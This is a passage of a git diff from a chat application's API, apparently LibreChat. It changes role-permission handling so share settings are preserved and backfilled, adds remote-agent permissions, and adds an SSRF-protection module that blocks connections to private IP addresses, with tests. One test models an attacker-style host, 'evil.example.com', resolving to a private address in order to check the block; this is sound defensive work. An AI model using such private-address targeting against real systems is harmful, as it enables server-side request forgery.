[PermissionTypes.PROMPTS]: { + [Permissions.USE]: true, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, [PermissionTypes.BOOKMARKS]: { [Permissions.USE]: true }, }, }); @@ -1701,12 +1808,9 @@ describe('updateInterfacePermissions - permissions', () => { ); // Memory permissions should be updated even though they already exist expect(userCall[1][PermissionTypes.MEMORIES]).toEqual(expectedMemoryPermissions); - // Prompts should be updated (explicitly configured) + // Prompts should be updated (explicitly configured) - CREATE/SHARE/SHARE_PUBLIC not included since prompts: true is boolean and PROMPTS already exists expect(userCall[1][PermissionTypes.PROMPTS]).toEqual({ [Permissions.USE]: true, - [Permissions.CREATE]: true, - [Permissions.SHARE]: false, - [Permissions.SHARE_PUBLIC]: false, }); // Bookmarks should be updated (explicitly configured) expect(userCall[1][PermissionTypes.BOOKMARKS]).toEqual({ [Permissions.USE]: true }); @@ -1717,11 +1821,9 @@ describe('updateInterfacePermissions - permissions', () => { ); // Memory permissions should be updated even though they already exist expect(adminCall[1][PermissionTypes.MEMORIES]).toEqual(expectedMemoryPermissions); + // CREATE/SHARE/SHARE_PUBLIC not included since prompts: true is boolean and PROMPTS already exists expect(adminCall[1][PermissionTypes.PROMPTS]).toEqual({ [Permissions.USE]: true, - [Permissions.CREATE]: true, - [Permissions.SHARE]: true, - [Permissions.SHARE_PUBLIC]: true, }); expect(adminCall[1][PermissionTypes.BOOKMARKS]).toEqual({ [Permissions.USE]: true }); @@ -1737,4 +1839,359 @@ describe('updateInterfacePermissions - permissions', () => { }), }); }); + + it('should preserve existing SHARE/SHARE_PUBLIC values when using boolean config (regression test)', async () => { + // This test ensures that when `agents: true` (boolean) is configured, + // existing SHARE and SHARE_PUBLIC permissions are NOT reset to defaults. + + // Mock existing permissions where SHARE and SHARE_PUBLIC were enabled by user + mockGetRoleByName.mockResolvedValue({ + permissions: { + [PermissionTypes.AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, // User enabled this via admin panel + [Permissions.SHARE_PUBLIC]: true, // User enabled this via admin panel + }, + [PermissionTypes.PROMPTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, + [Permissions.SHARE_PUBLIC]: true, + }, + }, + }); + + // Config uses boolean (not object), simulating `agents: true` in librechat.yaml + const config = { + interface: { + agents: true, // Boolean config - should only update USE, not reset SHARE/SHARE_PUBLIC + prompts: true, // Boolean config - should only update USE, not reset SHARE/SHARE_PUBLIC + }, + }; + const configDefaults = { + interface: { + agents: true, + prompts: true, + }, + } as TConfigDefaults; + const interfaceConfig = await loadDefaultInterface({ config, configDefaults }); + const appConfig = { config, interfaceConfig } as unknown as AppConfig; + + await updateInterfacePermissions({ + appConfig, + getRoleByName: mockGetRoleByName, + updateAccessPermissions: mockUpdateAccessPermissions, + }); + + const userCall = mockUpdateAccessPermissions.mock.calls.find( + (call) => call[0] === SystemRoles.USER, + ); + + // CRITICAL: When using boolean config and permissions already exist, + // only USE should be updated. CREATE, SHARE, and SHARE_PUBLIC should NOT be in the update payload. + // This means they will be preserved in the database (not reset to defaults). + expect(userCall[1][PermissionTypes.AGENTS]).toEqual({ + [Permissions.USE]: true, + // CREATE, SHARE, and SHARE_PUBLIC intentionally omitted - preserves existing DB values + }); + expect(userCall[1][PermissionTypes.AGENTS]).not.toHaveProperty(Permissions.CREATE); + expect(userCall[1][PermissionTypes.AGENTS]).not.toHaveProperty(Permissions.SHARE); + expect(userCall[1][PermissionTypes.AGENTS]).not.toHaveProperty(Permissions.SHARE_PUBLIC); + + expect(userCall[1][PermissionTypes.PROMPTS]).toEqual({ + [Permissions.USE]: true, + // CREATE, SHARE, and SHARE_PUBLIC intentionally omitted - preserves existing DB values + }); + expect(userCall[1][PermissionTypes.PROMPTS]).not.toHaveProperty(Permissions.CREATE); + expect(userCall[1][PermissionTypes.PROMPTS]).not.toHaveProperty(Permissions.SHARE); + expect(userCall[1][PermissionTypes.PROMPTS]).not.toHaveProperty(Permissions.SHARE_PUBLIC); + }); + + it('should include SHARE/SHARE_PUBLIC when using object config (explicit configuration)', async () => { + // When using object config like `agents: { share: true }`, SHARE/SHARE_PUBLIC SHOULD be updated + mockGetRoleByName.mockResolvedValue({ + permissions: { + [PermissionTypes.AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, + }, + }); + + const config = { + interface: { + agents: { + use: true, + share: true, // Explicitly setting SHARE + public: true, // Explicitly setting SHARE_PUBLIC + }, + }, + }; + const configDefaults = { + interface: { + agents: { + use: true, + share: false, + public: false, + }, + }, + } as TConfigDefaults; + const interfaceConfig = await loadDefaultInterface({ config, configDefaults }); + const appConfig = { config, interfaceConfig } as unknown as AppConfig; + + await updateInterfacePermissions({ + appConfig, + getRoleByName: mockGetRoleByName, + updateAccessPermissions: mockUpdateAccessPermissions, + }); + + const userCall = mockUpdateAccessPermissions.mock.calls.find( + (call) => call[0] === SystemRoles.USER, + ); + + // When object config is used with explicit share/public, they SHOULD be included + expect(userCall[1][PermissionTypes.AGENTS]).toHaveProperty(Permissions.SHARE, true); + expect(userCall[1][PermissionTypes.AGENTS]).toHaveProperty(Permissions.SHARE_PUBLIC, true); + }); + + it('should preserve SHARE/SHARE_PUBLIC when using object config without share/public keys', async () => { + // When using object config like `agents: { use: true, create: false }` WITHOUT share/public, + // existing SHARE and SHARE_PUBLIC should be preserved (not reset to defaults) + mockGetRoleByName.mockResolvedValue({ + permissions: { + [PermissionTypes.AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, // User enabled this via admin panel + [Permissions.SHARE_PUBLIC]: true, // User enabled this via admin panel + }, + [PermissionTypes.PROMPTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, + [Permissions.SHARE_PUBLIC]: true, + }, + }, + }); + + const config = { + interface: { + agents: { + use: true, + create: false, // Only setting use and create, NOT share/public + }, + prompts: { + use: true, + create: false, // Only setting use and create, NOT share/public + }, + }, + }; + const configDefaults = { + interface: { + agents: { + use: true, + create: true, + share: false, + public: false, + }, + prompts: { + use: true, + create: true, + share: false, + public: false, + }, + }, + } as TConfigDefaults; + const interfaceConfig = await loadDefaultInterface({ config, configDefaults }); + const appConfig = { config, interfaceConfig } as unknown as AppConfig; + + await updateInterfacePermissions({ + appConfig, + getRoleByName: mockGetRoleByName, + updateAccessPermissions: mockUpdateAccessPermissions, + }); + + const userCall = mockUpdateAccessPermissions.mock.calls.find( + (call) => call[0] === SystemRoles.USER, + ); + + // AGENTS: use and create should be updated, but SHARE/SHARE_PUBLIC should NOT be in payload + expect(userCall[1][PermissionTypes.AGENTS]).toEqual({ + [Permissions.USE]: true, + [Permissions.CREATE]: false, + }); + expect(userCall[1][PermissionTypes.AGENTS]).not.toHaveProperty(Permissions.SHARE); + expect(userCall[1][PermissionTypes.AGENTS]).not.toHaveProperty(Permissions.SHARE_PUBLIC); + + // PROMPTS: same behavior + expect(userCall[1][PermissionTypes.PROMPTS]).toEqual({ + [Permissions.USE]: true, + [Permissions.CREATE]: false, + }); + expect(userCall[1][PermissionTypes.PROMPTS]).not.toHaveProperty(Permissions.SHARE); + expect(userCall[1][PermissionTypes.PROMPTS]).not.toHaveProperty(Permissions.SHARE_PUBLIC); + }); + + it('should backfill SHARE/SHARE_PUBLIC when missing from an existing permission type (PR #11283 migration)', async () => { + // Simulates an existing deployment that has PROMPTS/AGENTS permissions from before PR #11283 + // introduced SHARE/SHARE_PUBLIC. SHARED_GLOBAL existed previously; after the schema change + // the DB document has neither SHARE nor SHARE_PUBLIC set. + mockGetRoleByName.mockResolvedValue({ + permissions: { + [PermissionTypes.AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + // SHARE and SHARE_PUBLIC intentionally absent — legacy pre-#11283 document + }, + [PermissionTypes.PROMPTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + // SHARE and SHARE_PUBLIC intentionally absent — legacy pre-#11283 document + }, + [PermissionTypes.MCP_SERVERS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: false, + // SHARE_PUBLIC intentionally absent — added later + }, + }, + }); + + // Boolean configs — these should NOT override the backfilled values + const config = { + interface: { + agents: true, + prompts: true, + }, + }; + const configDefaults = { + interface: { agents: true, prompts: true }, + } as TConfigDefaults; + const interfaceConfig = await loadDefaultInterface({ config, configDefaults }); + const appConfig = { config, interfaceConfig } as unknown as AppConfig; + + await updateInterfacePermissions({ + appConfig, + getRoleByName: mockGetRoleByName, + updateAccessPermissions: mockUpdateAccessPermissions, + }); + + const userCall = mockUpdateAccessPermissions.mock.calls.find( + (call) => call[0] === SystemRoles.USER, + ); + + // AGENTS: SHARE and SHARE_PUBLIC should be backfilled with USER role defaults + expect(userCall[1][PermissionTypes.AGENTS]).toHaveProperty(Permissions.SHARE); + expect(userCall[1][PermissionTypes.AGENTS]).toHaveProperty(Permissions.SHARE_PUBLIC); + // USER role default for SHARE is false + expect(userCall[1][PermissionTypes.AGENTS][Permissions.SHARE]).toBe(false); + expect(userCall[1][PermissionTypes.AGENTS][Permissions.SHARE_PUBLIC]).toBe(false); + + // PROMPTS: same backfill behaviour + expect(userCall[1][PermissionTypes.PROMPTS]).toHaveProperty(Permissions.SHARE); + expect(userCall[1][PermissionTypes.PROMPTS]).toHaveProperty(Permissions.SHARE_PUBLIC); + expect(userCall[1][PermissionTypes.PROMPTS][Permissions.SHARE]).toBe(false); + expect(userCall[1][PermissionTypes.PROMPTS][Permissions.SHARE_PUBLIC]).toBe(false); + + // MCP_SERVERS: SHARE already exists, only SHARE_PUBLIC should be backfilled + expect(userCall[1][PermissionTypes.MCP_SERVERS]).toHaveProperty(Permissions.SHARE_PUBLIC); + expect(userCall[1][PermissionTypes.MCP_SERVERS]).not.toHaveProperty(Permissions.SHARE); + }); + + it('should apply explicit remoteAgents config to USER permissions (regression: loadDefaultInterface omission)', async () => { + const config = { + interface: { + remoteAgents: { use: true, create: true, share: false, public: false }, + }, + }; + const configDefaults = { interface: {} } as TConfigDefaults; + const interfaceConfig = await loadDefaultInterface({ config, configDefaults }); + const appConfig = { config, interfaceConfig } as unknown as AppConfig; + + await updateInterfacePermissions({ + appConfig, + getRoleByName: mockGetRoleByName, + updateAccessPermissions: mockUpdateAccessPermissions, + }); + + const userCall = mockUpdateAccessPermissions.mock.calls.find( + (call) => call[0] === SystemRoles.USER, + ); + const adminCall = mockUpdateAccessPermissions.mock.calls.find( + (call) => call[0] === SystemRoles.ADMIN, + ); + + expect(userCall[1][PermissionTypes.REMOTE_AGENTS]).toEqual({ + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }); + + expect(adminCall[1][PermissionTypes.REMOTE_AGENTS]).toEqual({ + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }); + }); + + it('should enable all remoteAgents permissions when fully enabled in config', async () => { + const config = { + interface: { + remoteAgents: { use: true, create: true, share: true, public: true }, + }, + }; + const configDefaults = { interface: {} } as TConfigDefaults; + const interfaceConfig = await loadDefaultInterface({ config, configDefaults }); + const appConfig = { config, interfaceConfig } as unknown as AppConfig; + + await updateInterfacePermissions({ + appConfig, + getRoleByName: mockGetRoleByName, + updateAccessPermissions: mockUpdateAccessPermissions, + }); + + const userCall = mockUpdateAccessPermissions.mock.calls.find( + (call) => call[0] === SystemRoles.USER, + ); + + expect(userCall[1][PermissionTypes.REMOTE_AGENTS]).toEqual({ + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, + [Permissions.SHARE_PUBLIC]: true, + }); + }); + + it('should use role defaults for remoteAgents when not configured (all false for USER)', async () => { + const config = { + interface: { + bookmarks: true, + }, + }; + const configDefaults = { interface: {} } as TConfigDefaults; + const interfaceConfig = await loadDefaultInterface({ config, configDefaults }); + const appConfig = { config, interfaceConfig } as unknown as AppConfig; + + await updateInterfacePermissions({ + appConfig, + getRoleByName: mockGetRoleByName, + updateAccessPermissions: mockUpdateAccessPermissions, + }); + + const userCall = mockUpdateAccessPermissions.mock.calls.find( + (call) => call[0] === SystemRoles.USER, + ); + + expect(userCall[1][PermissionTypes.REMOTE_AGENTS]).toEqual({ + [Permissions.USE]: false, + [Permissions.CREATE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }); + }); }); diff --git a/packages/api/src/app/permissions.ts b/packages/api/src/app/permissions.ts index bfa49e6bbd..3638bdc0bb 100644 --- a/packages/api/src/app/permissions.ts +++ b/packages/api/src/app/permissions.ts @@ -43,6 +43,8 @@ function hasExplicitConfig( return interfaceConfig?.fileCitations !== undefined; case PermissionTypes.MCP_SERVERS: return interfaceConfig?.mcpServers !== undefined; + case PermissionTypes.REMOTE_AGENTS: + return interfaceConfig?.remoteAgents !== undefined; default: return false; } @@ -101,7 +103,9 @@ export async function updateInterfacePermissions({ const defaultPerms = roleDefaults[roleName]?.permissions; const existingRole = await getRoleByName(roleName); - const existingPermissions = existingRole?.permissions; + const existingPermissions = existingRole?.permissions as + | Partial>> + | undefined; const permissionsToUpdate: Partial< Record> > = {}; @@ -142,21 +146,28 @@ export async function updateInterfacePermissions({ }; // Helper to extract value from boolean or object config - const getConfigUse = ( - config: boolean | { use?: boolean; share?: boolean; public?: boolean } | undefined, - ) => (typeof config === 'boolean' ? config : config?.use); - const getConfigShare = ( - config: boolean | { use?: boolean; share?: boolean; public?: boolean } | undefined, - ) => (typeof config === 'boolean' ? undefined : config?.share); - const getConfigPublic = ( - config: boolean | { use?: boolean; share?: boolean; public?: boolean } | undefined, - ) => (typeof config === 'boolean' ? undefined : config?.public); + type PermissionConfig = + | boolean + | { use?: boolean; create?: boolean; share?: boolean; public?: boolean } + | undefined; + const getConfigUse = (config: PermissionConfig) => + typeof config === 'boolean' ? config : config?.use; + const getConfigCreate = (config: PermissionConfig) => + typeof config === 'boolean' ? undefined : config?.create; + const getConfigShare = (config: PermissionConfig) => + typeof config === 'boolean' ? undefined : config?.share; + const getConfigPublic = (config: PermissionConfig) => + typeof config === 'boolean' ? undefined : config?.public; - // Get default use values (for backward compat when config is boolean) + // Get default values (for backward compat when config is boolean) const promptsDefaultUse = typeof defaults.prompts === 'boolean' ? defaults.prompts : defaults.prompts?.use; const agentsDefaultUse = typeof defaults.agents === 'boolean' ? defaults.agents : defaults.agents?.use; + const promptsDefaultCreate = + typeof defaults.prompts === 'object' ? defaults.prompts?.create : undefined; + const agentsDefaultCreate = + typeof defaults.agents === 'object' ? defaults.agents?.create : undefined; const promptsDefaultShare = typeof defaults.prompts === 'object' ? defaults.prompts?.share : undefined; const agentsDefaultShare = @@ -173,21 +184,32 @@ export async function updateInterfacePermissions({ defaultPerms[PermissionTypes.PROMPTS]?.[Permissions.USE], promptsDefaultUse, ), - [Permissions.CREATE]: getPermissionValue( - undefined, - defaultPerms[PermissionTypes.PROMPTS]?.[Permissions.CREATE], - true, - ), - [Permissions.SHARE]: getPermissionValue( - getConfigShare(loadedInterface.prompts), - defaultPerms[PermissionTypes.PROMPTS]?.[Permissions.SHARE], - promptsDefaultShare, - ), - [Permissions.SHARE_PUBLIC]: getPermissionValue( - getConfigPublic(loadedInterface.prompts), - defaultPerms[PermissionTypes.PROMPTS]?.[Permissions.SHARE_PUBLIC], - promptsDefaultPublic, - ), + ...((typeof interfaceConfig?.prompts === 'object' && 'create' in interfaceConfig.prompts) || + !existingPermissions?.[PermissionTypes.PROMPTS] + ? { + [Permissions.CREATE]: getPermissionValue( + getConfigCreate(loadedInterface.prompts), + defaultPerms[PermissionTypes.PROMPTS]?.[Permissions.CREATE], + promptsDefaultCreate ?? true, + ), + } + : {}), + ...((typeof interfaceConfig?.prompts === 'object' && + ('share' in interfaceConfig.prompts || 'public' in interfaceConfig.prompts)) || + !existingPermissions?.[PermissionTypes.PROMPTS] + ? { + [Permissions.SHARE]: getPermissionValue( + getConfigShare(loadedInterface.prompts), + defaultPerms[PermissionTypes.PROMPTS]?.[Permissions.SHARE], + promptsDefaultShare, + ), + [Permissions.SHARE_PUBLIC]: getPermissionValue( + getConfigPublic(loadedInterface.prompts), + defaultPerms[PermissionTypes.PROMPTS]?.[Permissions.SHARE_PUBLIC], + promptsDefaultPublic, + ), + } + : {}), }, [PermissionTypes.BOOKMARKS]: { [Permissions.USE]: getPermissionValue( @@ -238,21 +260,32 @@ export async function updateInterfacePermissions({ defaultPerms[PermissionTypes.AGENTS]?.[Permissions.USE], agentsDefaultUse, ), - [Permissions.CREATE]: getPermissionValue( - undefined, - defaultPerms[PermissionTypes.AGENTS]?.[Permissions.CREATE], - true, - ), - [Permissions.SHARE]: getPermissionValue( - getConfigShare(loadedInterface.agents), - defaultPerms[PermissionTypes.AGENTS]?.[Permissions.SHARE], - agentsDefaultShare, - ), - [Permissions.SHARE_PUBLIC]: getPermissionValue( - getConfigPublic(loadedInterface.agents), - defaultPerms[PermissionTypes.AGENTS]?.[Permissions.SHARE_PUBLIC], - agentsDefaultPublic, - ), + ...((typeof interfaceConfig?.agents === 'object' && 'create' in interfaceConfig.agents) || + !existingPermissions?.[PermissionTypes.AGENTS] + ? { + [Permissions.CREATE]: getPermissionValue( + getConfigCreate(loadedInterface.agents), + defaultPerms[PermissionTypes.AGENTS]?.[Permissions.CREATE], + agentsDefaultCreate ?? true, + ), + } + : {}), + ...((typeof interfaceConfig?.agents === 'object' && + ('share' in interfaceConfig.agents || 'public' in interfaceConfig.agents)) || + !existingPermissions?.[PermissionTypes.AGENTS] + ? { + [Permissions.SHARE]: getPermissionValue( + getConfigShare(loadedInterface.agents), + defaultPerms[PermissionTypes.AGENTS]?.[Permissions.SHARE], + agentsDefaultShare, + ), + [Permissions.SHARE_PUBLIC]: getPermissionValue( + getConfigPublic(loadedInterface.agents), + defaultPerms[PermissionTypes.AGENTS]?.[Permissions.SHARE_PUBLIC], + agentsDefaultPublic, + ), + } + : {}), }, [PermissionTypes.TEMPORARY_CHAT]: { [Permissions.USE]: getPermissionValue( @@ -324,16 +357,50 @@ export async function updateInterfacePermissions({ defaultPerms[PermissionTypes.MCP_SERVERS]?.[Permissions.CREATE], defaults.mcpServers?.create, ), - [Permissions.SHARE]: getPermissionValue( - loadedInterface.mcpServers?.share, - defaultPerms[PermissionTypes.MCP_SERVERS]?.[Permissions.SHARE], - defaults.mcpServers?.share, + ...((typeof interfaceConfig?.mcpServers === 'object' && + ('share' in interfaceConfig.mcpServers || 'public' in interfaceConfig.mcpServers)) || + !existingPermissions?.[PermissionTypes.MCP_SERVERS] + ? { + [Permissions.SHARE]: getPermissionValue( + loadedInterface.mcpServers?.share, + defaultPerms[PermissionTypes.MCP_SERVERS]?.[Permissions.SHARE], + defaults.mcpServers?.share, + ), + [Permissions.SHARE_PUBLIC]: getPermissionValue( + loadedInterface.mcpServers?.public, + defaultPerms[PermissionTypes.MCP_SERVERS]?.[Permissions.SHARE_PUBLIC], + defaults.mcpServers?.public, + ), + } + : {}), + }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: getPermissionValue( + loadedInterface.remoteAgents?.use, + defaultPerms[PermissionTypes.REMOTE_AGENTS]?.[Permissions.USE], + defaults.remoteAgents?.use, ), - [Permissions.SHARE_PUBLIC]: getPermissionValue( - loadedInterface.mcpServers?.public, - defaultPerms[PermissionTypes.MCP_SERVERS]?.[Permissions.SHARE_PUBLIC], - defaults.mcpServers?.public, + [Permissions.CREATE]: getPermissionValue( + loadedInterface.remoteAgents?.create, + defaultPerms[PermissionTypes.REMOTE_AGENTS]?.[Permissions.CREATE], + defaults.remoteAgents?.create, ), + ...((typeof interfaceConfig?.remoteAgents === 'object' && + ('share' in interfaceConfig.remoteAgents || 'public' in interfaceConfig.remoteAgents)) || + !existingPermissions?.[PermissionTypes.REMOTE_AGENTS] + ? { + [Permissions.SHARE]: getPermissionValue( + loadedInterface.remoteAgents?.share, + defaultPerms[PermissionTypes.REMOTE_AGENTS]?.[Permissions.SHARE], + defaults.remoteAgents?.share, + ), + [Permissions.SHARE_PUBLIC]: getPermissionValue( + loadedInterface.remoteAgents?.public, + defaultPerms[PermissionTypes.REMOTE_AGENTS]?.[Permissions.SHARE_PUBLIC], + defaults.remoteAgents?.public, + ), + } + : {}), }, }; @@ -342,6 +409,108 @@ export async function updateInterfacePermissions({ addPermissionIfNeeded(permType as PermissionTypes, permissions); } + /** + * Backfill SHARE / SHARE_PUBLIC for permission types that already exist in the DB but are + * missing these fields — caused by the PR #11283 schema change that added SHARE/SHARE_PUBLIC + * to PROMPTS and AGENTS (replacing the removed SHARED_GLOBAL field) without a DB migration. + * + * This is intentionally kept separate from `addPermissionIfNeeded` to avoid overwriting + * user-customised share settings when the config uses a boolean (e.g. `agents: true`). + * Only fields that are literally absent from the existing DB document are backfilled here; + * any field that is already set keeps its current value. + */ + type ShareBackfillEntry = [PermissionTypes, Record]; + const shareBackfill: ShareBackfillEntry[] = [ + [ + PermissionTypes.PROMPTS, + { + [Permissions.SHARE]: getPermissionValue( + getConfigShare(loadedInterface.prompts), + defaultPerms[PermissionTypes.PROMPTS]?.[Permissions.SHARE], + promptsDefaultShare, + ), + [Permissions.SHARE_PUBLIC]: getPermissionValue( + getConfigPublic(loadedInterface.prompts), + defaultPerms[PermissionTypes.PROMPTS]?.[Permissions.SHARE_PUBLIC], + promptsDefaultPublic, + ), + }, + ], + [ + PermissionTypes.AGENTS, + { + [Permissions.SHARE]: getPermissionValue( + getConfigShare(loadedInterface.agents), + defaultPerms[PermissionTypes.AGENTS]?.[Permissions.SHARE], + agentsDefaultShare, + ), + [Permissions.SHARE_PUBLIC]: getPermissionValue( + getConfigPublic(loadedInterface.agents), + defaultPerms[PermissionTypes.AGENTS]?.[Permissions.SHARE_PUBLIC], + agentsDefaultPublic, + ), + }, + ], + [ + PermissionTypes.MCP_SERVERS, + { + [Permissions.SHARE]: getPermissionValue( + loadedInterface.mcpServers?.share, + defaultPerms[PermissionTypes.MCP_SERVERS]?.[Permissions.SHARE], + defaults.mcpServers?.share, + ), + [Permissions.SHARE_PUBLIC]: getPermissionValue( + loadedInterface.mcpServers?.public, + defaultPerms[PermissionTypes.MCP_SERVERS]?.[Permissions.SHARE_PUBLIC], + defaults.mcpServers?.public, + ), + }, + ], + [ + PermissionTypes.REMOTE_AGENTS, + { + [Permissions.SHARE]: getPermissionValue( + loadedInterface.remoteAgents?.share, + defaultPerms[PermissionTypes.REMOTE_AGENTS]?.[Permissions.SHARE], + defaults.remoteAgents?.share, + ), + [Permissions.SHARE_PUBLIC]: getPermissionValue( + loadedInterface.remoteAgents?.public, + defaultPerms[PermissionTypes.REMOTE_AGENTS]?.[Permissions.SHARE_PUBLIC], + defaults.remoteAgents?.public, + ), + }, + ], + ]; + + for (const [permType, shareDefaults] of shareBackfill) { + const existingPerms = existingPermissions?.[permType]; + // Skip permission types that don't exist yet — addPermissionIfNeeded already handles those + if (!existingPerms) { + continue; + } + + const missingFields: Record = {}; + for (const [field, value] of Object.entries(shareDefaults)) { + if ( + value !== undefined && + existingPerms[field] === undefined && + // Don't clobber a value already queued by addPermissionIfNeeded (e.g. explicit config) + permissionsToUpdate[permType as PermissionTypes]?.[field] === undefined + ) { + missingFields[field] = value; + } + } + + if (Object.keys(missingFields).length > 0) { + logger.debug( + `Role '${roleName}': Backfilling missing share fields for '${permType}': ${Object.keys(missingFields).join(', ')}`, + ); + // Merge into any update already queued by addPermissionIfNeeded, or create a new entry + permissionsToUpdate[permType] = { ...permissionsToUpdate[permType], ...missingFields }; + } + } + // Update permissions if any need updating if (Object.keys(permissionsToUpdate).length > 0) { await updateAccessPermissions(roleName, permissionsToUpdate, existingRole); diff --git a/packages/api/src/auth/agent.spec.ts b/packages/api/src/auth/agent.spec.ts new file mode 100644 index 0000000000..9ab2a9aaf9 --- /dev/null +++ b/packages/api/src/auth/agent.spec.ts @@ -0,0 +1,113 @@ +jest.mock('node:dns', () => { + const actual = jest.requireActual('node:dns'); + return { + ...actual, + lookup: jest.fn(), + }; +}); + +import dns from 'node:dns'; +import { createSSRFSafeAgents, createSSRFSafeUndiciConnect } from './agent'; + +type LookupCallback = (err: NodeJS.ErrnoException | null, address: string, family: number) => void; + +const mockedDnsLookup = dns.lookup as jest.MockedFunction; + +function mockDnsResult(address: string, family: number): void { + mockedDnsLookup.mockImplementation((( + _hostname: string, + _options: unknown, + callback: LookupCallback, + ) => { + callback(null, address, family); + }) as never); +} + +function mockDnsError(err: NodeJS.ErrnoException): void { + mockedDnsLookup.mockImplementation((( + _hostname: string, + _options: unknown, + callback: LookupCallback, + ) => { + callback(err, '', 0); + }) as never); +} + +describe('createSSRFSafeAgents', () => { + afterEach(() => { + jest.clearAllMocks(); + }); + + it('should return httpAgent and httpsAgent', () => { + const agents = createSSRFSafeAgents(); + expect(agents.httpAgent).toBeDefined(); + expect(agents.httpsAgent).toBeDefined(); + }); + + it('should patch httpAgent createConnection to inject SSRF lookup', () => { + const agents = createSSRFSafeAgents(); + const internal = agents.httpAgent as unknown as { + createConnection: (opts: Record) => unknown; + }; + expect(internal.createConnection).toBeInstanceOf(Function); + }); +}); + +describe('createSSRFSafeUndiciConnect', () => { + afterEach(() => { + jest.clearAllMocks(); + }); + + it('should return an object with a lookup function', () => { + const connect = createSSRFSafeUndiciConnect(); + expect(connect).toHaveProperty('lookup'); + expect(connect.lookup).toBeInstanceOf(Function); + }); + + it('lookup should block private IPs', async () => { + mockDnsResult('10.0.0.1', 4); + const connect = createSSRFSafeUndiciConnect(); + + const result = await new Promise<{ err: NodeJS.ErrnoException | null }>((resolve) => { + connect.lookup('evil.example.com', {}, (err) => { + resolve({ err }); + }); + }); + + expect(result.err).toBeTruthy(); + expect(result.err!.code).toBe('ESSRF'); + }); + + it('lookup should allow public IPs', async () => { + mockDnsResult('93.184.216.34', 4); + const connect = createSSRFSafeUndiciConnect(); + + const result = await new Promise<{ err: NodeJS.ErrnoException | null; address: string }>( + (resolve) => { + connect.lookup('example.com', {}, (err, address) => { + resolve({ err, address: address as string }); + }); + }, + ); + + expect(result.err).toBeNull(); + expect(result.address).toBe('93.184.216.34'); + }); + + it('lookup should forward DNS errors', async () => { + const dnsError = Object.assign(new Error('ENOTFOUND'), { + code: 'ENOTFOUND', + }) as NodeJS.ErrnoException; + mockDnsError(dnsError); + const connect = createSSRFSafeUndiciConnect(); + + const result = await new Promise<{ err: NodeJS.ErrnoException | null }>((resolve) => { + connect.lookup('nonexistent.example.com', {}, (err) => { + resolve({ err }); + }); + }); + + expect(result.err).toBeTruthy(); + expect(result.err!.code).toBe('ENOTFOUND'); + }); +}); diff --git a/packages/api/src/auth/agent.ts b/packages/api/src/auth/agent.ts new file mode 100644 index 0000000000..2442aa20fa --- /dev/null +++ b/packages/api/src/auth/agent.ts @@ -0,0 +1,61 @@ +import dns from 'node:dns'; +import http from 'node:http'; +import https from 'node:https'; +import type { LookupFunction } from 'node:net'; +import { isPrivateIP } from './domain'; + +/** DNS lookup wrapper that blocks resolution to private/reserved IP addresses */ +const ssrfSafeLookup: LookupFunction = (hostname, options, callback) => { + dns.lookup(hostname, options, (err, address, family) => { + if (err) { + callback(err, '', 0); + return; + } + if (typeof address === 'string' && isPrivateIP(address)) { + const ssrfError = Object.assign( + new Error(`SSRF protection: ${hostname} resolved to blocked address ${address}`), + { code: 'ESSRF' }, + ) as NodeJS.ErrnoException; + callback(ssrfError, address, family as number); + return; + } + callback(null, address as string, family as number); + }); +}; + +/** Internal agent shape exposing createConnection (exists at runtime but not in TS types) */ +type AgentInternal = { + createConnection: (options: Record, oncreate?: unknown) => unknown; +}; + +/** Patches an agent instance to inject SSRF-safe DNS lookup at connect time */ +function withSSRFProtection(agent: T): T { + const internal = agent as unknown as AgentInternal; + const origCreate = internal.createConnection.bind(agent); + internal.createConnection = (options: Record, oncreate?: unknown) => { + options.lookup = ssrfSafeLookup; + return origCreate(options, oncreate); + }; + return agent; +} + +/** + * Creates HTTP and HTTPS agents that block TCP connections to private/reserved IP addresses. + * Provides TOCTOU-safe SSRF protection by validating the resolved IP at connect time, + * preventing DNS rebinding attacks where a hostname resolves to a public IP during + * pre-validation but to a private IP when the actual connection is made. + */ +export function createSSRFSafeAgents(): { httpAgent: http.Agent; httpsAgent: https.Agent } { + return { + httpAgent: withSSRFProtection(new http.Agent()), + httpsAgent: withSSRFProtection(new https.Agent()), + }; +} + +/** + * Returns undici-compatible `connect` options with SSRF-safe DNS lookup. + * Pass the result as the `connect` property when constructing an undici `Agent`. + */ +export function createSSRFSafeUndiciConnect(): { lookup: LookupFunction } { + return { lookup: ssrfSafeLookup }; +} diff --git a/packages/api/src/auth/domain.spec.ts b/packages/api/src/auth/domain.spec.ts index a2b4c42cd7..9812960cd9 100644 --- a/packages/api/src/auth/domain.spec.ts +++ b/packages/api/src/auth/domain.spec.ts @@ -1,12 +1,21 @@ /* eslint-disable @typescript-eslint/ban-ts-comment */ +jest.mock('node:dns/promises', () => ({ + lookup: jest.fn(), +})); + +import { lookup } from 'node:dns/promises'; import { extractMCPServerDomain, isActionDomainAllowed, isEmailDomainAllowed, isMCPDomainAllowed, + isPrivateIP, isSSRFTarget, + resolveHostnameSSRF, } from './domain'; +const mockedLookup = lookup as jest.MockedFunction; + describe('isEmailDomainAllowed', () => { afterEach(() => { jest.clearAllMocks(); @@ -144,8 +153,9 @@ describe('isSSRFTarget', () => { expect(isSSRFTarget('169.254.0.1')).toBe(true); }); - it('should block 0.0.0.0', () => { + it('should block 0.0.0.0/8 (current 